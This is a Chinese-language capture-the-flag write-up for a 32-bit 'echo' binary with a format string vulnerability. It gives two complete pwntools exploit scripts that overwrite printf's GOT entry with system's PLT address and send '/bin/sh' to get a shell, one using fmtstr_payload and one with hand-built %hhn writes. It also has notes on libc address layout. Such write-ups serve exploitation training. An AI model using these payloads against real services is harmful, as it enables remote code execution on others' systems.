查看保护
查看ida
有格式化字符串漏洞,可以修改printf的got表内地址为system,传参getshell
解法一:
在32位中可以使用fmtstr_payload直接修改,免去很多麻烦
完整exp:
from pwn import*
p=process('./echo')
p=remote('node5.buuoj.cn',25852)
system_plt=0x8048400
printf_got=0x804A010
print(hex(system_plt))
payload=fmtstr_payload(7,{printf_got:system_plt})
p.sendline(payload)
payload=b'/bin/sh\x00'
p.sendline(payload)
p.interactive()
这个没啥好讲的,只是这个函数64位几乎用不了。
解法二:
完整exp:
from pwn import*
p=process('./echo')
system_plt=0x8048400
printf_got=0x804A010
payload=b'%17$hhn'+b'%4c%18$hhn'+b'%4c%19$hhn'+b'%124c%20$hhn'
print(len(payload))
payload=payload.ljust(0x28,b'\x00')
payload+=p32(printf_got)+p32(printf_got+2)+p32(printf_got+3)+p32(printf_got+1)
print(len(payload))
p.sendline(payload)
p.interactive()
在这个方法中没有使用fmtstr_payload函数,虽然麻烦一点,但必须掌握。
先回顾一下知识点
在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位对于所有libc函数来说都是相同的,后24位不同。
在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位所有相同,后24位不同,这里不包含\x00截断。
以上情况包含了libc基地址+偏移过大的情况,在基地址较小的情况下甚至可以达到32位中前12位相同,64位中前28位相同。当然即使是在libc基地址+偏移过大的情况下,也会有部分函数32位中前12位相同,64位中前28位相同。
啥是libc基地址+偏移过大的情况?
部分函数的偏移过大,会影响下一个4位。
所以严谨地来说
在32位中,libc函数的真实地址共有32位(8位一个字节),其中前8位(1字节)对于所有libc函数来说都是相同的,后24位(3字节)不同。
在64位中,libc函数的真实地址共有64位(包括\x00截断),其中前24位(3字节)所有相同,后24位(3字节)不同,这里不包含\x00截断。
回到题目,我们这里是把整个libc函数的真实地址修改为system的plt,所以不用管前多少位相同,统统改完就行,毕竟libc函数的真实地址跟system的plt一样只有4个字节,也就是32位。在这里提知识点只是防止知识点跟这道题搞混而已。
补充点:后面的printf_got记得要按小到大来覆盖。